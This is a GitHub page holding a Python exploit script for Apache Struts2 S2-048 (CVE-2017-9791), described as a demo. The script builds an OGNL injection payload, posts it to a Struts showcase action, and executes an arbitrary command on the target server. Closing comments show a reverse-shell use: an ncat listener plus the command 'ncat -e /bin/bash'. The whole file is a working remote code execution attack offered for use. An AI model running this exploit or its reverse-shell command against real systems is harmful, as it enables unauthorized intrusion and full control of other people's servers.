forked from piesecurity/apache-struts2-CVE-2017-5638
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathexploit_S2-048.py
executable file
·54 lines (41 loc) · 1.56 KB
/
exploit_S2-048.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Just a demo for CVE-2017-9791
# Credit nixawk - via /~https://github.com/nixawk/labs/tree/master/CVE-2017-9791
import requests
def exploit(host, cmd):
print("[+] command: %s" % cmd)
payload = "%{"
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(@java.lang.Runtime@getRuntime().exec('%s'))" % cmd
payload += "}"
data = {
"name": payload,
"age": 20,
"__checkbox_bustedBefore": "true",
"description": 1
}
if not ":" in host:
host = "{}:8080".format(host)
headers = {
'Referer': 'http://{}/integration/editGangster'.format(host)
}
url = "http://{}/integration/saveGangster.action".format(host)
requests.post(url, data=data, headers=headers)
if __name__ == '__main__':
import sys
if len(sys.argv) != 3:
print("python %s <host:port> <cmd>" % sys.argv[0])
sys.exit(0)
print('[*] exploit Apache Struts2 S2-048')
host = sys.argv[1]
cmd = sys.argv[2]
exploit(host, cmd)
# $ ncat -v -l -p 4444 &
# $ python exploit_S2-048.py 127.0.0.1:8080 "ncat -e /bin/bash 127.0.0.1 4444"